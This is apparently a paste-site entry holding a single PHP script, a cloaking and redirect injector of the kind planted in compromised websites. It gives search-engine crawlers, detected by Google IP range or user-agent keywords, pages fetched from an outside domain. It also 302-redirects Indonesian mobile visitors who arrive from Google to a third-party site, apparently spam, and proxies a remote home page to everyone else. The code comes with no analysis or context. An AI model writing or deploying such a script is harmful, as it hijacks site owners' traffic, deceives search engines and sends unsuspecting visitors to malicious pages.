<?php ob_start(); error_reporting(0); header('Vary...

🧩 Syntax:
<?php ob_start(); error_reporting(0); header('Vary: Accept-Language, User-Agent'); function curl_get_contents($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', ]); $res = curl_exec($ch); curl_close($ch); return $res; } elseif (ini_get('allow_url_fopen')) { return @file_get_contents($url); } return false; } function parseIpRanges($json_data) { $list = json_decode($json_data, true); $res = []; foreach ($list['prefixes'] as $p) { if (isset($p['ipv4Prefix'])) $res[] = $p['ipv4Prefix']; } return $res; } function ip_in_range($ip, $range) { if (strpos($range, '/') === false) return false; list($subnet, $mask) = explode('/', $range); $ip_dec = sprintf("%u", ip2long($ip)); $subnet_dec = sprintf("%u", ip2long($subnet)); $network_mask = ~((1 << (32 - (int)$mask)) - 1); return ($ip_dec & $network_mask) === ($subnet_dec & $network_mask); } function is_google_ua() { $ua = strtolower($_SERVER["HTTP_USER_AGENT"] ?? ''); $keywords = ["googlebot", "google-site-verification", "google-inspectiontool", "googlebot-mobile", "googlebot-news", "bot", "ahrefs", "yandex", "bing"]; foreach ($keywords as $k) { if (strpos($ua, $k) !== false) return true; } return false; } function is_mobile_device() { $ua = strtolower($_SERVER["HTTP_USER_AGENT"] ?? ''); return preg_match('/(android|iphone|ipad|ipod|blackberry|windows phone|opera mini|mobile)/i', $ua); } function get_client_ip() { foreach ([ 'HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED', 'HTTP_FORWARDED_FOR','HTTP_FORWARDED','HTTP_CF_CONNECTING_IP','REMOTE_ADDR' ] as $key) { if (!empty($_SERVER[$key])) return trim(explode(',', $_SERVER[$key])[0]); } return '[REDACTED IP]'; } $link = "https://www.madnessandmethod.com/page.php"; $redirect_url = "https://ampsuci.com/amp-agedterbaru34/"; $home_url = "https://www.madnessandmethod.com/home.php"; $ip = get_client_ip(); $geo_json = curl_get_contents("http://ip-api.com/json/$ip"); $cc = $geo_json ? json_decode($geo_json, true)['countryCode'] ?? null : null; $gjson = curl_get_contents("https://www.gstatic.com/ipranges/goog.json"); $granges = $gjson ? parseIpRanges($gjson) : []; $isGoogleIP = false; foreach ($granges as $r) { if (ip_in_range($ip, $r)) { $isGoogleIP = true; break; } } if ($isGoogleIP || is_google_ua()) { $content = curl_get_contents($link); if ($content) { header("Content-Type: text/html; charset=UTF-8"); header("X-Robots-Tag: index, follow"); header("Cache-Control: max-age=0, no-cache, no-store, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); ob_clean(); echo $content; ob_end_flush(); exit; } } $referer = $_SERVER['HTTP_REFERER'] ?? ''; if ( is_mobile_device() && $cc === 'ID' && $_SERVER['REQUEST_URI'] === '/' && strpos($referer, 'google') !== false ) { ob_clean(); header("Location: $redirect_url", true, 302); ob_end_flush(); exit; } $content = curl_get_contents($home_url); if ($content) { ob_clean(); echo $content; } ob_end_flush(); exit; ?>